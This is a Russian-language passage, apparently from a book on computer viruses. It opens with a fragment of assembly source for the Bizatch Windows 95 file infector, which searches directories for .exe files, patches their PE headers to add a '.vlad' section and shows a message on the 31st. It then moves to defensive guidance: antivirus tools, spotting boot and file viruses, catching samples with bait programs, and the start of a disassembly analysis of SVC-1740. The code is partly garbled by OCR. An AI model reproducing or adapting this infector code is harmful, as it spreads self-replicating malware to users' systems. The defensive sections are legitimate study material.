or  eax, eax

jnz gofile

; Сюдапопадаем, если файл не найден

foundnothing:

; Сменимдиректорию

хоr eax, eax

lea edi, [ebp+offset tempdir]

movecx, 256/4

rep stosd

lea edi, [ebp+offset tempdirl]

movecx,256/4

rep stosd

; Получимтекущую директорию

lea esi,[ebp+offset tempdir]

pushesi

push255

callGetCurDir

; Сменимдиректорию на "."

lea  eax, [ebp+offset dotdot]

pusheax

call SetCurDir

; Получим текущую директорию

lea edi,[ebp+offset tempdirl]

pushedi

push255

callGetCurDir

; Проверим, корневая ли этодиректория. Если да, то выходим

movecx, 256/4

repcmpsd

jnz  infectdir

;«3аметаемследы» и выходим в программу-носитель

outty:

; Возвратимсяв оригинальную текущую директорию

lea eax,[ebp+offset orgdir]

pusheax

callSetCurDir

; Получим текущую дату и время

lea  eax, [ebp+offset systimestruct]

pusheax

callGetTime

; Проверим число. Если это 31-ое,выдаем сообщение

cmpword ptr [ebp+offset day],31

jnz nopayload

; Сообщениедля пользователя

push1000h    ;MB_SYSTEMMODAL

lea  eax, [ebp+offset boxtitle]

pusheax

lea eax, [ebp+offset boxmsg]

pusheax

push0

callMsgBox

; Выходв программу-носитель

nopayload:

popeax

jmpeax

; КогдаKERNEL будет обнаружен, его смещение будет записано

kerndd OBFF93B95h

; ЗначенияKERNEL, известные нам

kern1   dd OBFF93B95h

kern2   dd OBFF93C1Dh

; Чтениетекущей директории

GetCurDir:

;3апишемв стек значение для получения текущей

директориии вызовем KERNEL

pushOBFF77744h

jmp[ebp+offset kern]

; Установка текущей директории

SetCurDir:

;3апишемв стек значение для установки текущей

директориии вызовем KERNEL

pushOBFF7771Dh

jmp[ebp+offset kern]

; Получение времени и даты

GetTime:

; Проверим,какой KERNEL работает

cmp[ebp+offset kern],OBFF93B95h

jnz gettimekern2

;3апишемв стек значение для получения

; времени и даты и вызовем KERNEL

pushOBFF9DOB6h

jmp[ebp+offset kern]

gettimekern2:

; Запишемв стек значение для получения

; Времении даты и вызовем KERNEL

pushOBFF9Dl4Eh

jmp[ebp+offset kern]

; Выводсообщения

MsgBox:

; Запишемв стек значение для вывода сообщения и вызовем KERNEL

pushOBFF638D9h

jmp[ebp+offset kern]

; Поискпервого файла

FindFile:

; Запишемв стек значение для поиска первого файла

; ивызовем KERNEL

pushOBFF77893h

jmp[ebp+offset kern]

; Поискследующего файла

FindNext:

; Запишемв стек значение для поиска

; следующегофайла и вызовем KERNEL

pushOBFF778CBh

jmp[ebp+offset kern]

; Открытие/созданиефайла

CreateFile:

;3апишемв стек значение для открытия/создания файла

; ивызовем KERNEL

pushOBFF77817h

jmp[ebp+offset kern]

; Установкауказателя чтения/записи

SetFilePointer:

; Запишемв стек значение для установки

; указателячтения/записи файла и вызовем KERNEL

pushOBFF76FAOh

jmp[ebp+offset kern]

; Чтениеиз файла

ReadFile:

;3апишемв стек значение для чтения из файла и вызовем KERNEL

pushOBFF75806h

jmp[ebp+offset kern]

;3аписьв файл

WriteFile:

;3апишемв стек значение для записи в файл и вызовем KERNEL

pushOBFF7580Dh

jmp[ebp+offset kern]

; Закрытиефайла

CloseFile:

;3апишемв стек значение для закрытия файла и вызовем KERNEL

pushOBFF7BC72h

jmp[ebp+offset kern]

; Счетчикзаражений

countinfectdb 0

; Используетсядля поиска файлов

win32_data_thang:

fileattrdd 0

createtimedd 0,0

lastaccesstimedd 0,0

lastwritetimedd 0,0

filesizedd 0,0

resvdd 0,0

fullnamedb 256 dup (0)

realnamedb 256 dup (0)

; Имясообщения, выводимого 31-го числа

boxtitledb «Bizatch by Quantum / VLAD»,0

; Сообщение,.выводимое 31-го числа

boxmsgdb «The taste of fame just got tastier!»,0dh

db«VLAD. Australia does it again with the world»s first Win95Virus"

dbOdh.Odh

db9,«From the old school to the new. »,0dh,0dh

db9,«Metabolis»,0dh

db9,«Qark»,0dh

db9,«Darkman»,0dh

db9,«Quantum»,0dh

db9,«CoKe»,0

messagetostupidaversdb «Please note: the name of this virus is [Bizatch]»

db«written by Quantum of VLAD»,0

; Данные о директориях

orgdir   db 256 dup (0)

tempdir  db 256 dup (0)

tempdirldb 256 dup (0)

Используетсядля смены директории

dotdotdb ".",0

; Используетсядля получения времени/даты

systimestruct:

dw0,0,0

daydw 0

dw0,0,0,0

; Индексдля поиска файлов

searchhandledd О

; Маскадля поиска

fnamedb "*.exe",0

; Описатель открытого файла

ahanddd О

; СмещениеРЕ-заголовка в файле

peheaderoffsetdd О

; Смещениетаблицы объектов

ObjedlTableoffsetdd О

; Количествозаписанных/считанных байт при работе с файлом

bytesreaddd О

; Новыйобъект

newobject:

onamedb ".vlad",0,0,0

virtualsizedd 0

RVAdd 0

physicalsizedd 0

physicaloffsetdd 0

reserveddd 0,0,0

objectflagsdb 40h,0,0,OCOh

; Данные,необходимые для заражения файла

peheader:

signaturedd 0

cputypedw 0

numObjdw 0

db3*4 dup (0)

NtHeaderSizedw 0

Flagsdw 0

db4*4 dup (0)

entrypointRVAdd 0

db3*4 dup (0)

objaligndd 0

filealigndd 0

db4*4 dup (0)

imagesizedd 0

headersizedd 0

;0бластьпамяти для чтения остатка РЕ-заголовка и таблицы объектов

vend:

db1000h dup (0)

ends

endvstart


Методы борьбы свирусами.

Рассмотримразличные способы борьбы с вирусами. Итак, что же такое антивирус? Сразу жеразвеем одну часто возникающую иллюзию. Почему-то многие считают, что антивирусможет обнаружить любой вирус, то есть, запустив антивирусную программу илимонитор, можно быть абсолютно уверенным в их надежности. Такая точка зрения несовсем верна. Дело в том, что антивирус — это тоже программа, конечно,написанная профессионалом. Но эти программы способны распознавать и уничтожатьтолько известные вирусы. То есть антивирус против конкретного вируса может бытьнаписан только в том случае, когда у программиста есть в наличии хотя бы одинэкземпляр этого вируса. Вот и идет эта бесконечная война между авторами вирусови антивирусов, правда, первых в нашей стране почему-то всегда больше, чемвторых. Но и у создателей антивирусов есть преимущество! Дело в том, чтосуществует большое количество вирусов, алгоритм которых практически скопированс алгоритма других вирусов. Как правило, такие вариации создаютнепрофессиональные программисты, которые по каким-то причи-нам решили написатьвирус. Для борьбы с такими «копиями» придумано новое оружие — эвристическиеанализаторы. С их помощью антивирус способен находить подобные аналогиизвестных вирусов, сообщая пользователю, что у него, похоже, завелся вирус.Естественно, надежность эвристического анализатора не 100%, но все же егокоэффициент полезного действия больше 0,5. Таким образом, в этой информационнойвойне, как, впрочем, и в любой другой, остаются сильнейшие. Вирусы, которые нераспознаются антивирусными детекторами, способны написать только наиболееопытные и квалифицированные программисты.

Таким образом,на 100% защититься от вирусов практически невозможно (подразумевается, чтопользователь меняется дискетами с друзьямии играет в игры, а также получаетинформацию из других источников, например из сетей). Если же не вноситьинформацию в компьютер из-вне, заразиться вирусом невозможно — сам он неродится. Итак, что же можно посоветовать, чтобы сталкиваться с вирусамикакможно меньше или, по крайней мере, только сталкиваться, не допускаяих нажесткий диск своего винчестера. В первую очередь — самые элементарные правила«компьютерной гигиены»: проверка дискет на наличие вируса самыми надежнымиантивирусными программами, такими, например,  как AVP или DrWeb. Очень хорошо,если на жестком диске установлен ревизор Adinf. Многие пользователи добавляютстроку запуска ревизоров, антивирусов, антивирусных мониторов в конфигура-ционныйфайл AUTOEXEC.BAT — тоже весьма действенно.

Естьопределенные способы борьбы и с загрузочными вирусами. В установках (SETUP)компьютера предусмотрена защита от записи в MBR. Когда запись начинается, BIOSсразу же ее останавливает и запрашивает подтверждение на разрешение записи.Естественно, следует запретить запись, а затем загрузится со своей, заранееподготовленной, системной дискеты. У большинства компьютерных пользователейтакой дискеты нет — а надо бы завести. И это еще не все. Вирусы постоянносовершенствуются, и все их многообразие охватить, конечно, невозможно. Поэтомунадо быть готовым, что рано или поздно вирус все-таки попадет на жесткий диск,и встретить его нужно во всеоружии.

Стандартныепрограммы защиты

В большинствеслучаев вирус, заразивший компьютер, помогут обнаружить уже разработанныепрограммы-детекторы. Они проверяют, имеется ли в файлах на указанномпользователем диске специфическая для данного вируса последовательность байт.При обнаружении вируса программа выводит на экран соответствующее сообщение.Стоит также заметить, что программы-детекторы не слишком универсальны,поскольку способны обнаружить только известные вирусы. Некоторым такимпрограммам можно сообщить специальную последовательность байт, характерную длякакого-то вируса, и они смогут обнаружить инфицированные им файлы — например,это умеет NotronAntiVirus или AVSP. Программа Aidstest  устарела и сейчас ужепрактически не используется. Наиболее широкое распространение получилипрограммы DrWeb и AVP. Благодаря своим новейшим детекторам, они могутобнаружить любые вирусы — как самые старые, так и только что появившиеся. Ещенужно упомянуть детектор Adinf. Эта антивирусная программа обнару-живает всевирусы, не изменяющие длину файлов, невидимые вирусы, и многие другие. Такимобразом, эти три программы обеспечат мощнейшую защиту против вирусов. Кстати,на западе тоже предпочитают пользоваться российскими программами DrWeb и AVP.Спасаясь от вирусов, создайте мощную защиту против них. Установитена своемдиске AVP, DrWeb и Adinf. Каждая программа хороша по-своему — пусть защитабудет многоуровневой. Все эти программы можно вписать в файл AUTOEXEC.BAT,тогда при загрузке компьютера проверка на заражение вирусом будет проводитьсяавтоматически. Всегда проверяйте файлы, попадающие на ваш компьютер. Любой изних может быть заражен вирусом, это нужно помнить. Никогда не позволяйтепосторонним работать на вашем компьютере — именно они чаще всего приносятвирусы. Особое внимание следует уделять играм -чаще всего вирусы распространяютсяименно так. Новые игры и программы всегда нужно проверять на вирус.

Поиск вируса

Когда во времяработы компьютер начинает вести себя как-то необычно, первая мысль, приходящаяна ум любому пользователю — уж не вирус ли это. В такой ситуации важно правильнооценить свои подозрения и сделать выводы. Как правило, человек, обладающийнекоторым опытом и владеющий соответствующим программным инструментарием,справляется с этой задачей без особых затруднений. Наиболее сложная ситуация — когда дей-ствовать приходится в «полевых» условиях, например, на чужой машине.Типичный вариант: стандартная PC (286, 386...Pentium), как минимум 1Мбайт ОЗУ,как минимум 400Мбайт HDD; возможно наличие принтера, звуковой карты, CDD ипрочей периферии. Программное обеспечение: Windows 95, возможно Windows 3.1x,но работают все равно под DOS. Джентльменский набор: Norton Commander 3.0-5.0,Norton Utility 6.0-8.0, свежие антивирусы: AidsTest и DrWeb, русификаторы,архиваторы, резидентные программы и прочее. В качестве обязательного условия — наличие заведомо «чистой» защищенной от записи загрузочной дискеты, содержащей(хотя бы в урезанном виде) вышеупомянутый комплект программ. Итак, по мнениюхозяина компьютер ведет себя странно. Например, программы, которые раньшеработали правильно, начинают сбоить или вообще перестают запускаться, компьютерпериодически «виснет», экран и динамик воспроизводят необычные видео- иаудиоэффекты. Чтобудем делать?

1.    Усаживаем передсобой хозяина компьютера и подробно расспрашиваем его о событиях, предшествующихвозникновению сбоев. Выяснить нужно следующее. Кем и как используется машина?Если сотрудники или хозяин часто приносят мелкие игрушки, гороскопы,устанавливают и стирают различные бухгалтерские программы, то вероятностьналичия вируса в машине весьма высока. Крупные игрушки, которые с трудомумещаются даже в упакованном виде в коробку дискет, переносятся с машины намашину редко. При этом они, чаще всего, тщательно проверяются на наличиевирусов.

a)      Когдавпервые замечены симптомы вируса?  Некоторые вирусы любятприурочивать свою деятельность к определенной дате или времени: 1 мая,7 ноября, 13-е число, пятница, пять часов вечера, а также 6 марта, 15 ноября,11-я минута каждого часа.

b)      Несвязаны ли изменения в работе компьютера с первым запуском какой-либопрограммы? Если да, то эта программа – первая в очереди на «медкомиссию».

c)       Несвязано ли появление симптомов заражения с распаковкой какого-либо старогоархива и запуском программ из него? Некоторые современные антивирусы (AVP,DrWeb) умеют проверять архивы наиболее популярных форматов. Но ведь изредкаещевстречаются архивы .ice, .arc, .zoo, .bsa, .uc2, .ha, .pak, .chz, .eliипрочие — их антивирусы диагностировать не могут.

d)      Неимеет ли хозяин (хозяйка) компьютера привычку оставлять дискеты в дисководе приперезагрузке? Загрузочный вирус может годами жить на дискете, никак себя непроявляя.

2.    В присутствиихозяина (хозяйки) включаем компьютер. Внимательно следим за процессом загрузки.Сначала запускается программаPOST, записанная в ПЗУ BIOS. Она тестирует память,тестирует иинициализирует прочие компоненты компьютера и завершается короткимодиночным гудком. Если «вирус» проявляет себя уже на этом этапе — он здесь нипри чем. Теоретически вирус может существовать и в BIOS: предполагается, чтопервые вирусы на территорию СССР «приехали» внутри болгарских ПЗУ (современныеПЗУчасто не являются «постоянными запоминающими устройствами», онипредусматривают возможность перезаписи BIOS).

3.    В присутствиихозяина (хозяйки) пытаемся вызвать необычное поведение компьютера.

а) Идеально,если вирус (если это действительно он) самостоятельно извещает всех о своемприсутствии, например, выводит на экран сообщение типа <I am VIRUS!>.Вирусы проявляют себя различными способами: проигрывают мелодии, выводят наэкран посторонние картинки и надписи, имитируют аппаратные сбои, заставляядрожать экран. Но, к сожалению, чаще всего вирусы специально себя необнаруживают. К антиви-русным программам прилагаются каталоги с описаниямивирусов (для AidsTest они хранятся в файле aidsvir.txt, для DrWeb -в файлеvirlist.web). Наиболее полным является гипертекстовый каталог avpve, входящий всостав антивирусного пакета Е. Касперского. В нем можно не только прочитатьдостаточно подробное описание любого вируса, но и понаблюдать его проявления.От настоящих вирусов следует отличать так называемые «студенческие шутки»,особенно широко распространенные на компьютерах ВУЗов и школ. Как правило, эторезидентные программы, которые периодически производят напоминающие работувирусов видео- и аудиоэффекты. В отличие от настоящих вирусов, эти программы неумеют размножаться. Наличие такого рода программ на «бухгалтерских» компьютерахмаловероятно.

б) Очень частосбои вызываются вирусами не преднамеренно, а лишь в силу их несовместимости спрограммной средой, возникающей из-за наличия в алгоритме вируса ошибок инеточностей. Если какая-либо программа «зависает» при попытке запуска,существует очень большая вероятность, что именно она и заражена вирусом. Есликомпьютер «виснет» в процессе загрузки (после успешного завершения программыPOST), то при помощи пошагового выполнения файлов config.sys и autoexec.bat(клавиша F8 в DOS б.х) можно легко определить источник сбоев.

4.    Не перегружаякомпьютер, запускаем (можно прямо с винчестера) антивирус, лучше всего DrWeb сключом /hal. Вирус (если он есть) попытается немедленно заразить DrWeb.Последний достаточно надежно детектирует целостность своего кода и в случаечего выведет сообщение «Я заражен неизвестным вирусом!» Если так и произойдет,то наличие вируса в системе доказано. Внимательно смотрим на диагностическиесообщения типа «Файл такой-то ВОЗМОЖНО заражен вирусом такого-то класса» (СОМ,EXE, TSR, BOOT, MACROи т.п.). Подозрения на ВООТ-вирус в 99% бывают оправданы.Однажды DrWeb 3.20 «ругался» на ВООТ-сектор дискеты, «вылеченной» AidsTest отвируса LzExe, поэтому антивирусным программам тоже не всегда можно доверять.Наличие большого количества файлов, предположительно зараженных вирусом одногои того же класса, с большой достоверностью указывает на присутствие в компьютеренеизвестного вируса. Но могут быть и исключения — DrWebверсии 3.15 и нижеактивно «ругался» на стандартные DOC-компоненты WinWord 2.0. Кроме того, DrWebопределяет наличие в памяти компьютера неизвестных резидентных вирусов иStealth-вирусов. Ошибки при их определении (в последних версиях антивируса)достаточно редки. Версия 3.15, не умеющая лечить вирус Kaczor, исправнозаподозрила наличие агрессивного резидента в памяти. Версия же 3.18, умеющаяего лечить, в инфицированной системе вообще ничего не заметила, а детектировалаи вылечила вирус лишь при загрузке с чистой дискеты. При этом нужно иметь ввиду, что предупреждения типа «Странная дата файла», единичные подозрения наСОМ-, ЕХЕ-вирусы и прочее вряд ли могут быть расценены как бесспорное доказательствоналичия вируса. MACRO-вирусы живут исключительно в Windows и никакогонегативного влияния на DOS-программы оказать не могут, за исключением тогослучая, когда они что-либо стерли в Windows-сеансе.

5.    Нередко сбоибывают вызваны естественными причинами, никако-го отношения к вирусам неимеющими.

a)     Аппаратныесбои. Исключить эту возможность поможет загрузкас чистой дискеты и запуск (снее) диагностической программы ndiags. Тестируем память, основную плату, порты ивсе остальное. Иногда достаточен простой внешний осмотр компьютера -может быть,что-то неправильно подключено.

b)    Нарушения влогической структуре диска. Загружаемся с чистой дискеты и запускаем (с нее) ndd.Сначала просто отмечаем наличие ошибок (перекрестных цепочек, потерянных кластеров итак далее).Еслиошибок очень много и подавляющее их число относится к СОМ- иЕХЕ-файлам, то ни в коем случае нельзя выполнять операцию исправления ошибок:это может быть DIR-подобный вирус, и такое «лечение» диска может стать длямногих программ фатальным. Если ошибки есть и их относительно немного, рискуеми лечим диск. Вновь загружаемся с винчестера. Сбои пропали?

c)    Конфликты междуразличными компонентами операционной системы и прикладными программами.Особенно «вредоносными» являются дисковые драйверы-обманщики, активновидоизменяющие (пусть и с благородными целями) информацию, считываемую илизаписываемую на диск:

-     дисковыекэш (SMARTDRV, NC_CASHE);- упаковщики дисков (DblSpace, DrvSpace, Stacker);

-     системыбезопасности (антивирусные мониторы типа PROTECT, HDPROT, ADM и прочие, системыразграничения доступа DISKMON, DISKREET). Нередко сбоят устаревшиепристыковочные системы защиты от несанкционированного копирования, типа NOTAили CERBERUS.

6.    Наконец, самыйинтересный случай — вирус явно не обнаружен, но подозрения на его наличиепо-прежнему остаются. Достаточноподробно эту тему изложил Е. Касперский в своейкниге <Компью-терные вирусы в MS-DOS>, избранные фрагменты которойможнонайти в гипертекстовом каталоге avpve того же автора. Остаетсятолькопривести  краткое изложение этих глав с уточнениями и замечаниями (может быть,весьма спорными).

а) Обнаружениезагрузочного вируса. Загружаемся с чистой дискетыи, запустив DiskEditor,заглядываем в сектор 0/0/1 винчестера. Если винчестер разделен (при помощиfdisk) на логические диски, то код занимает приблизительно половину сектора иначинаетсяс байт FAh 33h C0h (вместо 33h иногда может быть 2Вh). Заканчиватьсякод должен текстовыми строками типа <Missing operatingsystem>. В концесектора размещаются внешне разрозненные байты таблицы разделов. Нужно обратитьвнимание на размещение активного раздела в таблице разделов. Если операционнаясистема расположена на диске С, а активен 2, 3 или 4 раздел, то вирус могизменить точку старта, сам разместившись в начале другого логического диска(заодно нужно посмотреть и там). Но также это может говорить о наличии намашине нескольких операционных систем и какого-либо boot-менеджера,обеспечивающего выборочную загрузку. Проверяем всю нулевую дорожку. Если оначистая, то есть ее сектора содержат только байт-заполнитель, все в порядке.Наличие мусора, копий сектора 0/0/1 и прочего может говорить о присутствиизагрузочного вируса. Впрочем, антивирусы прилечении загрузочных вирусов лишь<обезглавливают> противника (восстанавливают исходное значение сектора0/0/1), оставляя тело <догнивать> на нулевой дорожке. Проверяемboot-сектор MS-DOS, он обычно расположен в секторе в 0/1/1. Его внешний виддлясравнения можно найти как в вышеупомянутой книге Е. Касперского, так и налюбой <чистой> машине. Итак, если вирус обнаружен, при помощи DiskEditorпереписываем в файл зараженныйобъект: MBR 0/0/1 (а лучше всю нулевую дорожку),boot 0/1/1и все остальное. Желательно отправить этот комплект вирусоло-гам.Копию, при желании, оставляем себе — для опытов.

б) Обнаружениефайлового вируса. Нерезидентные файловые вирусы специально не скрывают своегоналичия в системе. Поэтому основным признаком заражения файла являетсяувеличение его длины, которое легко заметить даже в инфицированной операционнойсистеме. Резидентные вирусы могут скрывать изменение длины файла (да и вообщеналичие своего кода внутри файла-жертвы), если они написаны поStealth-технологии. Но при загрузке с <чистой> дискеты это можно увидеть.Некоторые вирусыне изменяют длину заражаемых программ, используя <пустые>участки внутри файла программы или кластерный <хвост> файла,расположенный после последнего заполненного сектора. В этом случае основнойпризнак заражения — изменение контрольной суммы байт файла. Это легкообнаруживают антивирусы-инспектора типа Adinf. В качествекрайней меры можно рассматривать прямое изучение кода программ, подозрительныхсточки зрения наличия в них вируса. Одно из лучших программных средств дляоперативного изучения кода вирусов — програм-ма HackerView (hiew.exe by SEN).Но, поскольку <по умолча-нию> компьютер чужой, hiew, td, softice, ida иподобныхпрограммна нем может просто не оказаться. Зато стандартныйотладчик debug присутствуетточно. Загружаем подозреваемуюна наличие вируса программу (в чистойоперационной системе)в память при помощи команды debug <имя_программы>.Команда и позволяет дизассемблировать фрагмент кода, команда d -просмотреть егов шестнадцатеричном формате, команда g <ад-рес> запускает программу навыполнение с остановом в указан-ной точке, команда t обеспечивает пошаговуютрассировку кода, команда r отображает текущее содержимое регистров. Чтобыви-зуально распознать наличие вируса по коду, конечно, необходимопределенныйопыт. Вот на что надо обращать особое внимание:

— Наличие вначале программы последовательности команд подобного типа крайне подозрительно:

Start:

call Metka

Metka: pop <r>

-     Наличиев начале файла строк типа <PkLite>, <LZ91>или<diet>подразумевает обработку программы соответствующим упаковщиком; если началопрограммы не содержит последовательности команд, характерных для упаковщика, неисключен факт ее заражения.

-     Программы,написанные на языках высокого уровня, часто содержат в своем начале сегменткода, затем сегмент данных. Наличие еще одного сегмента кода,располагающегося в конце файла программы, весьма подозрительно.

-     Подозрениевызывают расположенные в начале программы, написанной на языке высокого уровня,фрагменты видоизменения собственного кода, вызовы DOS- или BIOS-прерываний ипрочее. Желательно визуально помнить характерные начала программ, скомпилированныхв той или иной системе программирования (на-пример, начала программ, написанныхна Turbo Pascal, содержатбольшоеколичество дальних вызовов подпрограмм call xxxx:xxxx).

-     Наконец,о наличии вируса могут свидетельствовать <посторонние> строки типа<Eddie lives.> внутри файла.

7.     Ловля вируса<на живца>. Итак, допустим, что наличие вируса в системе доказано однимиз предложенных выше методов, и зараженные вирусом объекты определены. Теперьможно начать изучениевирусаи, вслед за этим, попытаться удалить его с машины. Желательно послать образецвируса профессиональным вирусологам. А для этого необходимо выделить вирус вчистом виде.

а) Выделениезагрузочного вируса. Как уже говорилось выше, есливи рус заразилвинчестер, необходимо при помощи программы DiskEditor сохранить в файле образзараженного объекта (например, сектора 0/0/1 или всей нулевой дорожки). Но, какизвестно,загрузочныевирусы только <живут> в системных областях винчестера, размножаются жеони, заражая системные области дискет. Поэтому смотрим на лицевую панелькомпьютера. Еслив наличии дисководы обоих типов (3.5" и 5.25"), топридетсяотформатировать4 дискеты на 4 стандартных формата: 360 Кбайт, 720 Кбайт, 1.2 Мбайт и 1.44 Мбайт. Затем припомощи программыDiskEditorвнимательно рассмотрим и постараемся запомнить внешний вид boot-секторов этихдискет (0/0/1), хотя бы первые байты (естественно, все это делается на чистоймашине). Вставляем не защищенные от записи дискеты по очереди в дисководы <больной>машины и (обязательно) обращаемся к ним: пытаемся прочитать каталог, записать,прочитать и удалить какие-либо файлы. Наконец, на чистой машине при помощиDiskEditorвновьпросматриваем сектор 0/0/1. Если на какой-либо дискетеон изменился, при помощитого же DiskEditor снимаем образ всей дискеты в файл. Вирус пойман. Можноупаковать файл каким-нибудь архиватором и послать его вирусологу. Некоторые хитрые вирусыхранят свое тело на дополнительной, специально отформатированной дорожке, такназываемом инженерном цилиндре дискеты. В этом случае без пакета копированияключевыхдискеттипа fda, teledisk или copymaster не обойтись.

б) Выделениерезидентного вируса. Как известно, резидентный вирус постоянно находится впамяти ПЭВМ, выбирая жертву для заражения. Наиболее часто в качестве жертв выступаютзапускаемые программы. Однако файлы программ могут заражаться при открытии,копировании на дискету или с нее (вирус OneHalf), вовремя поиска при помощиDOS-функций FindFirst или FindNext. Необходимо подобрать подходящегопретендента на <контрольное> заражение — небольшую программу простойструктуры,приманку.Некоторые вирусы пытаются распознать приманку и отказываются от ее заражения.Не подходят для таких целей слишком короткие программы или такие, большая частькоторыхсостоитиз повторяющихся байт (например, 90h — код команды NOP). В качествеприманки с большим успехом можно использовать программы test.coin и test.exe.Вот их исходные текстына языке Assembler.

test.com

cseg    segment

assume cs:cseg, ds:cseg, ss:cseg

org 100h

Start:

db   1249 dup (OFAh,90h,OFBh,OF8h)

mov ah,4Ch

int   21 h

cseg    ends

End Start

test.exe

cseg    segment

assume cs:cseg, ds:cseg

Start:

db  1000 dup (0FAh,90h,0FBh,0F8h)

mov ah,4Ch

int   21 h

cseg     ends

sseg    segment stack

assume   ss:sseg

db   118 dup (OFAh,90h,OFBh,OF8h)

sseg     ends

End Start

Скопируем приманки на зараженную машину.Выполним над ними какможнобольше операций: запустим, скопируем в другое место винчестера и на дискету,переместим, просмотрим их в NC и DOS (командой dir). При этом желательнонесколько раз поменять системное время и дату, потому что вирусы нередкоактивны не каждый день и не круглые сутки. Чтобы исключить Stealth-эффект,загрузимся с чистой дискеты и рассмотрим внимательно эти файлы. Как правило,достаточнобываетпроконтролировать размер файлов и просмотреть их код припомощи F3 — наличиевируса определить несложно.

в) Выделение нерезидентного файла. Самыйнеприятный случай.Помимотого, что вирус нередко привередничает, распознавая приманку, ипо-прежнему отказывается работать <без выходныхи отпусков>, так еще и заражаемостьпрограмм сильно зависит от их расположения на винчестере. Одни нерезидентныевирусы заражают только в текущем каталоге, другие — только в подкаталогах 1-гоуровня, третьи — в каталогах, указанных в строке path системной среды(Vienna), четвертые — вообще во всех каталогах винчестера. Поэтому воспользуемсяпрограммой типа rt, чтобыскопировать приманки во все каталоги диска (запускаемиз корневого каталога):

rt copy a:\test.* .

Точка <.> в конце — символтекущего каталога. Потом их можно будет

удалить:

rt del test.*

Теперь выбираемзаведомо зараженную программу и запускаем ее N раз, постоянно изменяя время идату. Проконтролировать изменение длины поможет та же программа rt:

rt dir test.*>test.txt

Получаем файлtest.txt, содержащий список файлов test.* с указаниемих длины. Выбираем тотфайл приманки, который изменил длину.

Вот вирус ипойман.

Как исследоватьалгоритм работы вируса

Ситуация, когдакомпьютер оказался заражен неизвестным вирусом, встречается не очень часто, нополностью сбрасывать со счетов такую возможность нельзя. Выше рассматривалисьспособы обнаружения вируса и выделения его в чистом виде. Сейчас переходим кисследованиюалгоритмаработы файловых вирусов для успешной борьбы с ними.

1.    Прежде чемперейти к рассмотрению этого вопроса, вспомним неко-торые принципыфункционирования MS DOS.Структура СОМ- и ЕХЕ-программ. Вообще говоря, следуетотличать СОМ- и ЕХЕ-программы от СОМ- и ЕХЕ-файлов. Дело в том, что в настоящеевремя расширение СОМ или ЕХЕ является просто признаком (кстати, необязательным)запускаемой программы. Способ загрузки программы в память и ее запускаопределяется операционной системой по внутреннему формату программы. Этот факт часто неучитывали авторы первых вирусов, что приводило к уничтожению некоторых программвместо их заражения.СОМ-программапредставляет собой часть кода и данных, которая начинается с исполняемой командыи занимает не более 64Кбайт. Например, такую структуру имеет командный процессор COMMAND.СОМоперационной системы MSDOS до версии 6.22 включительно. СтруктураЕХЕ-программы гораздо сложнее. В начале файла ЕХЕ-программы располагаетсязаголовок (см. приложение). Поля ReloCS и ExelP определяют расположениеточки входа в программу,поляExeSP и ReloSS — расположение стека, поля PartPagи PageCnt — размер корневогосегмента программы. Размер некоторых программ, вычисленный по полям PartPag иPageCnt, может не совпадать с реальным размером файла. Такие программыназываются<сегментированными>или <содержащими внутренние оверлеи>. Опытные авторы вирусов избегают заражатьтакие программы. После заголовка может размещаться специальная таблица, точноеместорасположения которой определяется полем TablOff, а размер — полем ReloCnt.В этой таблице хранятся адреса тех слов в коде программы, которые модифицируютсяоперационной системой во времязагрузки программы. Например, просматривая файлпрограммы припомощи утилиты HackerView, можно видеть команду call0000:1234h. Впроцессе загрузки программы MS-DOS подставит вместо нулей нужный сегментныйадрес, и все будет работать корректно. Кстати, если в поле TablOff указаночисло 40h или больше,то,скорее всего, это программа в формате Windows. Подобный формат имеет,например, командный процессор Windows 95 COMMAND.COM. Несмотря на своерасширение, он имеет в начале знаменитые символы <MZ> и длину 95Кбайт.

2.    Приступаем кисследованию конкретного файлового вируса и разработке алгоритма его лечения. Вкачестве жертвы <показательного вскрытия> возьмем широко известный вначале 90-х годов вирусSVC-1740.Выбор определился следующими обстоятельствами:

-     этоочень простой вирус с четкой структурой;

-     онне содержит деструктивных функций;

-     несодержит грубых ошибок в алгоритме;

-     онстандартно заражает СОМ- и ЕХЕ-программы.Запустив SVC вирус на своей машине,можно наблюдать следующие его проявления.

а) В MS-DOSуспели заразиться файлы ARCVIEW.EXE,HIEW.EXE и LEX.EXE. В результатеHackerView, проверяющийцелостностьсвоего кода, отказался работать, сообщив: <HIEWbad, work is aborted>.

6) Windows 3.11и Windows 95 сначала запустились корректно, нозатем продемонстрировалиразноцветные горизонтальные полосы в видеорежиме 800х600х256  (вирус незаражал какие-либо драйвера, просто в момент старта Windows в памяти находилсявирусный обработчик прерывания INT 21h). Излечение пришло после использования антивирусов: DrWeb с: /с р /а1 и AidsTest с: /f/g /q

3.    При помощи ранееописанных методов заразим две приманки: TEST.COM и TEST.EXE. Увеличение их длинына 1740 байт можно увидеть только на <чистой> машине (Stealth-эффект).Несколько слов об инструментарии. Вообще говоря, выбор дизассемблеров весьма широк. Всвое время была широко известна программа DisDoc. По признанию Е. Касперского, онактивно пользуется интерактивным дизассемблером IDA. Быстро просмотреть кодпрограммы позволяет утилита HackerView; Также возможно использование любогоотладчика. В данном случае для изучения кода зараженных приманокиспользовался дизассемблер Sourcer v5.04. Несмотря наотсутствие некоторыхполезных опций и ошибки при дизассемблировании (достаточно редкие),пользоваться программой удобно -упакованная PkLite, она занимает на дискетевсего 48Кбайт. Итак, запускаемдизассемблер командой sr test-сом. На экране появилась темно-синяя лицеваястраница. Нажав клавишу <а>, можно перейти на страницу опций.Рекомендуется установить опцию <а> -обязательно дизассемблироватьфрагмент программы, располагающийся после команд jmp/ret/iret — это позволяетполучить ассемблерный код тех фрагментов программ, в которые нет явногоперехода (процедуры обработки прерываний, скрытые подпрограммы и такдалее).Нажав Enter, вернемся на первую страницу. Запустим процесс дизассемблированиянажатием клавиши <g>. В зависимости от производительности компьютера,процесс дизассемблирования длится отнескольких секунд до нескольких минут. Длягрубой оценки размералистингаможно принять, что один килобайт кода соответствует десяти-пятнадцатикилобайтам текста. 6740 байт зараженной приманкидают 96Кбайт текста+файлtest.sdf. Этот очень интересный файл хранит в текстовом виде как опции,использованные при дизассемблировании, так и параметры полученного текста(размещение фрагментовкодаи данных, место расположения символических имен и -прочее).Если изменить этипараметры, переименовать файл в test.def и передать его Sourcer в команднойстроке в качестве параметра, то дизас-семблер будет работать в соответствии сновыми инструкциями. Аналогичную операцию проделаем для файла test.exe.

4.    Займемсяанализом полученного листинга. Поверхностно изучая зараженные приманки, видим:

-    файлы увеличилисвою длину на 1740 байт;

-     вих конце явно видны посторонние коды;

